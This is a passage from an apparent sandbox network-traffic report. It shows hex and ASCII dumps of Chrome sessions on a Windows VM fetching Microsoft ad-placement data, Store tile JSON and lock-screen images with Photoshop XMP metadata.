38 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 
7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 
22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 
Data Ascii: ":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startpr
ogrammable&ccid=8ce9b9da1ac94116b168bdc7e1c8c748&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event
\":\"opportunity\",\"parameters\":{},

2022-05-13 14:39:53 UTC 35 IN Data Raw: 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 39 30 61 39 33 35 31 39 34 38 63 39 34 34 31 39 
38 32 33 62 32 31 61 34 66 63 64 33 62 32 63 31 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 
5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5
c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 
63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 5
c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 2
2 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 
Data Ascii: tprogrammable&ccid=90a9351948c94419823b21a4fcd3b2c1&cid=msft_1\"},\"action\":\"launchUri\"},\"onRe
nder\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"show
NameOnWideTile\":{\"bool\":true},\"sh

2022-05-13 14:39:53 UTC 51 IN Data Raw: 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 77 
69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 
51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 62 
66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 69 
6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 2
2 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 
6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 70 70 73 
Data Ascii: d81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0YH
3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-
images.s-microsoft.com\/image\/apps

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.3 49702 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:39:53 UTC 1 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220308T163157Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=fbf20488a63e41378f2db3bc97f1a8f7&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418352&metered=false&nettype=ethernet&npid=sc-
310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
VMware7%2C1&tl=2&tsu=1418352&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
Cache-Control: no-cache
MS-CV: rDozWvWpOkiVUKUq.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-13 14:39:53 UTC 2 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: V464uvOgjQ+enz7STm/sj9ftvRDOkWGXl/pPEy9Fp9iewY0Neqx//RmyGwdff493QueSHLDRIKjAkMx
MVhEjQkFJHrMbloHqqRyzZm7pVqahbw0jzG+TPx14QxNWgKmr/g9eE0qiudMcXPx0AKzSqhSUC6y4Vwv2dOhcEVfcW
CMWtJ+HzKYBFl3gVK7tQerkOZq+pls+WkOHeg+aNuCBm0i8Wz+M3Wde1Hf2w7Gdt2y+YivaK64TKLp9G/qCMci9rBC
A7TeD/VyQ1Gbydy8ilK+WJNaFLebs2tPSR3MUo1psyx5AaMWSAJOSKmGA3PFBadVEdZ4VVXMv7N8rXUWfGA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:39:52 GMT
Connection: close

2022-05-13 14:39:53 UTC 3 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 35 2d 31 
33 54 31 38 3a 33 39 3a 35 33 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2022-05-13T18:39:53"}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

10 192.168.2.3 49712 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:58 UTC 95 OUT GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-
0dc5bed1273c?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:58 UTC 104 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 37622
Content-Type: image/png
Last-Modified: Thu, 30 Sep 2021 03:30:15 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyOUU1MTM1NDQ"
MS-CV: YXEQRcwIqUCuqc/O.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:58 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:58 UTC 104 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 92 
bd 49 44 41 54 78 01 ec 9a 81 6e db 38 10 44 09 20 52 72 69 3e e3 92 d8 76 74 77 ff ff 75 e7 68 db 07 25 43 10 cb 2e 49 
cb 85 81 01 31 5a 53 6e 52 e8 65 96 a4 d2 c3 f4 77 56 93 68 36 a9 e6 d7 ad 5f f5 f6 45 8f 5b 6f a2 6e 66 80 0e ab de 37 
3a 4c 4f ef ab 0e 95 3a ae c2 33 22 8a 36 d6 eb 2e fd af de 88 a2 53 f3 45 8f 87 e9 d1 cc fb 74 d1 cf e2 db 30 f1 c0 63 50 
da 50 87 31 e4 1c f8 a1 f9 6d 45 51 f0 13 35 41 ce 28 92 ca 6a 80 aa bb 8e 5b df 4e a7 e9 af 5c 05 23 e3 c6 9c 4c e8 52 
b7 2f b1 4f b3 d3 0a 77 71 2f f5 ef 5f a5 33 a9 c4 a5 b0 f5 95 20 ba 3e 54 d3 65 7c 6a 0f a4 c9 7c 02 3f c0 9b 31 25 59 e8 
99 ca bc 61 02 7a 7a fb 8c 2c 23 cd 08 24 c4 6c c4 
Data Ascii: PNGIHDR,,"IDATxn8D Rri>vtwuh%C.I1ZSnRewVh6_E[onf7:LO:3"6.SEt0cPP1mEQ5A(j[N\#LR/Owq/_3 >Te|j|?
1%Yazz,#$l
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2022-05-13 14:39:58 UTC 126 IN Data Raw: 9f 09 6e 39 ec 8d 6c 41 04 8c 2d f5 1d b9 88 b9 d6 9f 16 88 54 87 ed 3b 62 fb 0e 8e cc 43 c9 e0 f6 4e 55 91 0f 
4c a7 48 31 8c 02 45 d8 ae a2 a8 ca 09 20 81 a5 90 0e 42 d9 4e 42 e9 8a 44 b3 b7 3a 7c f2 4a ab b1 56 d3 75 92 3c a2 
e3 ed 32 48 2e 01 a1 08 bd f8 30 f6 2c 10 c8 ea 59 09 36 17 a8 d3 ae fd d8 ed 2e 75 04 be 99 ad 61 83 26 fd 92 96 6e a7 
c8 41 f2 7f cd 83 d2 0f c4 89 6f d9 38 95 3d 15 42 f2 8e b2 94 6c a6 2d 8b a1 fb fc e6 2c df 52 b5 6f 64 87 c5 80 2b 37 ee 
7b 77 0b 43 bb f4 9f 8d 91 af fc d8 75 e0 2c 83 27 5b 99 38 4a 90 f4 19 b1 90 fe 84 2b eb df db d1 2f ef df 8d 1d 64 e4 94 
55 ec 20 69 b3 06 e2 5a c7 57 7e 2c 5c b5 07 07 84 a5 a5 23 93 49 17 03 28 5b f0 96 6f 90 c1 73 2e d7 a0 6b 81 6a 6d 
25 3f 16 e2 71 60 6d f4 55 35 8c 24 7a 21 bb aa 7b ee 
Data Ascii: n9lA-T;bCNULH1E BNBD:|JVu<2H.0,Y6.ua&nAo8=Bl-,Rod+7{wCu,'[8J+/dU iZW~,\#I([os.kjm%?q`mU5$z!{

2022-05-13 14:39:58 UTC 134 IN Data Raw: d9 34 35 ea 0e 87 2a 84 d9 dd e9 a7 04 66 d1 e4 c4 ef 3c 7b 29 7e be 40 37 81 53 39 67 f2 6a 9b a4 c9 9e f7 
3a ee 01 78 f8 14 43 02 3b f1 cb 0a 9b d5 16 3d 6d 1c ab 11 91 37 0f 89 dd b3 1d 30 13 fe 6c ac ed 08 e0 58 0f 7b f2 9b 
da c7 f6 fc ed 1f 48 83 e5 6f 37 d2 53 17 6b b9 4f f2 d3 c4 87 8b 19 44 e4 90 04 52 ef e4 da f1 4d ad 6d c9 bd 73 e9 3f ea 
11 9f 11 3c 6a 28 32 f8 05 0d d6 74 bf 70 b1 41 16 d9 a3 3a e7 74 23 0b 62 d3 38 26 f5 95 9d 25 ab c0 c0 0c 41 51 ea 2b 
9c ac 0f 9e 5a dc a6 71 b3 d4 2f 02 c6 71 7b ae 34 8e 21 a2 59 37 b7 a3 43 dc c4 b8 aa 2e 73 a3 07 36 8f 4e ff f8 e7 bf a7 
e6 59 54 4f 08 e2 26 29 18 44 53 4c e6 22 65 32 a2 b1 c4 fa b9 c7 1d 82 d2 79 3f 4a 56 3b 82 9b b0 c8 61 8c 62 bd a3 a0 
b5 c4 19 7d 0f 32 eb 7e de f7 ee 8e 39 a5 e4 9f 66 
Data Ascii: 45*f<{)~@7S9gj:xC;=m70lX{Ho7SkODRMms?<j(2tpA:t#b8&%AQ+Zq/q{4!Y7C.s6NYTO&)DSL"e2y?JV;ab}2
~9f

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

100 192.168.2.3 49922 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:07 UTC 2526 OUT GET /cms/api/am/imageFileData/RWP8kk?ver=8c62 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-13 14:42:07 UTC 2542 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWP8kk?ver=8c62
Last-Modified: Thu, 12 May 2022 02:31:58 GMT
X-Source-Length: 1829994
X-Datacenter: northeu
X-ActivityId: 702b1585-377c-4a44-b6de-4a3e27b85dc2
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1829994
Cache-Control: public, max-age=301849
Expires: Tue, 17 May 2022 02:32:56 GMT
Date: Fri, 13 May 2022 14:42:07 GMT
Connection: close

2022-05-13 14:42:07 UTC 2543 IN Data Raw: ff d8 ff e1 13 12 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 34 3a 33 34 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:54:348"

2022-05-13 14:42:07 UTC 2574 IN Data Raw: 3a 61 35 39 62 32 66 34 38 2d 39 63 62 38 2d 66 31 34 66 2d 39 61 36 37 2d 66 37 36 31 32 64 31 61 64 61 
62 32 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 31 35 2d 30 34 2d 32 39 54 31 32 3a 31 38 3a 33 35 2d 30 37 3a 
30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 
20 43 43 20 32 30 31 34 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 2
0 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 
61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 64 64 38 33 61 66 34 35 2d 39 66 63 39 2d 64 66 34 66 2d 39 64 64 65 
2d 62 61 66 39 30 32 38 32 62 32 31 65 22 20 73 74 45 76 74 3a 77 68 
Data Ascii: :a59b2f48-9cb8-f14f-9a67-f7612d1adab2" stEvt:when="2015-04-29T12:18:35-07:00" stEvt:softwareAgent=
"Adobe Photoshop CC 2014 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid
:dd83af45-9fc9-df4f-9dde-baf90282b21e" stEvt:wh

2022-05-13 14:42:07 UTC 2592 IN Data Raw: 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 44 3a 5c 57 6f 72 6b 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 
6e 73 5c 5f 4c 41 54 45 53 54 74 72 61 6e 73 66 65 72 2d 4e 65 77 43 6f 6d 70 75 74 65 72 5c 54 65 6d 70 6c 61 74 65 
73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 31 2e 70 73 64 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 3
1 36 2d 30 37 2d 32 37 54 31 32 3a 30 32 3a 32 33 2d 30 37 3a 30 
Data Ascii: :00&#x9;File D:\Work\Win10-Lockscreens\_LATESTtransfer-NewComputer\Templates\Lockscreen_
1920x1080_Landscape1.psd saved&#xA;2016-07-26T18:23-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lo
ckscreen_1920x1080_Landscape.psd saved&#xA;2016-07-27T12:02:23-07:0
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2022-05-13 14:42:07 UTC 2610 IN Data Raw: 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 39 32 30 78 
31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 37 3a 32 35 3a 32 38 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 
61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 
35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 
31 30 32 37 32 35 37 5f 31 39 32 30 78 31 30 38 30 46 39 31 42 31 36 31 39 42 41 33 46 39 44 43 37 45 32 32 46 45 38 
37 35 31 32 32 39 36 34 36 30 2e 70 73 62 20 73 61 76 65 64 26 23 
Data Ascii: ndowsPro_GettyImages-641027257_1920x1080.jpg saved&#xA;2016-08-04T17:25:28-07:00&#x9;File 
C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_WindowsPro_GettyImages-
641027257_1920x1080F91B1619BA3F9DC7E22FE87512296460.psb saved&#

2022-05-13 14:42:07 UTC 2741 IN Data Raw: 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 46 61 
6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 38 38 36 33 30 32 31 5f 31 
39 32 30 78 31 30 38 30 31 39 38 36 36 37 31 38 41 31 33 33 41 37 43 36 32 33 37 33 39 35 38 31 45 42 31 33 39 30 42 
39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 36 54 31 30 3a 31 33 3a 35 39 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 7
3 31 30 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 
47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 30 37 31 37 36 31 30 5f 
Data Ascii: e Photoshop CC 2015.5\AutoRecover\_FallEntertainment_GettyImages-478863021_1920x10801986
6718A133A7C623739581EB1390B9.psb saved&#xA;2016-09-26T10:13:59-07:00&#x9;File C:\Users\v-lizagh\MS\W
indows10\FallEntertainment\FallEntertainment_GettyImages-540717610_

2022-05-13 14:42:07 UTC 2781 IN Data Raw: 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 35 32 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 6
4 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 
72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 
32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 35 34 2d 30 38 3a 30 
Data Ascii: 47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-16T13:52:11-08:00&#x9;File C:\Users\v-
lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape0
01F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-16T13:54-08:0

2022-05-13 14:42:07 UTC 2823 IN Data Raw: 32 38 30 36 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 35 
34 3a 31 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 
2d 53 77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 55 73 65 72 73 5f 70 31 30 32 33 6d 38 33 37 31 
34 39 66 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 
31 35 3a 35 36 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 
Data Ascii: 2806D.psb saved&#xA;2016-11-23T15:54:15-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-
Batch2\_CHOSEN-Sway\Crops\Office_Sway-Users_p1023m837149f_1920x1080.jpg saved&#xA;2016-11-23T15:56:08-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\

2022-05-13 14:42:07 UTC 2871 IN Data Raw: 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 
30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 
42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 31 54 30 39 3a 34 36 3a 31 30 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
64 6f 77 73 31 30 5c 4d 38 33 5c 43 48 4f 53 45 4e 5c 4d 38 33 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 36 31 31 34 
36 37 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 31 54 
30 39 3a 34 37 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 
Data Ascii: 5.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb save
d&#xA;2017-01-31T09:46:10-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\M83\CHOSEN\M83_GettyImages-5
16114675_1920x1080.jpg saved&#xA;2017-01-31T09:47:08-08:00&#x9;File

2022-05-13 14:42:07 UTC 2894 IN Data Raw: 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 53 70 6f 74 6c 69 67 68 74 5c 43 48 4f 53 45 4e 5c 43 
6f 72 74 61 6e 61 2d 53 70 6f 74 6c 69 67 68 74 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 39 31 39 31 31 39 38 30 5f 31 
39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 33 39 
3a 35 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 
65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 
Data Ascii: 07-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Spotlight\CHOSEN\Cortana-Spotlight_shutte
rstock_91911980_1920x1080.jpg saved&#xA;2017-03-06T13:39:57-08:00&#x9;File C:\Users\v-lizagh\MS\Wind
ows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-0

2022-05-13 14:42:07 UTC 3061 IN Data Raw: 32 30 36 32 35 35 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 30 33 2d 32 37 54 31 32 3a 30 37 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 53 65 72 76 69 63 69 6e 
67 5c 43 48 4f 53 45 4e 5c 52 6f 75 6e 64 31 5c 57 69 6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 
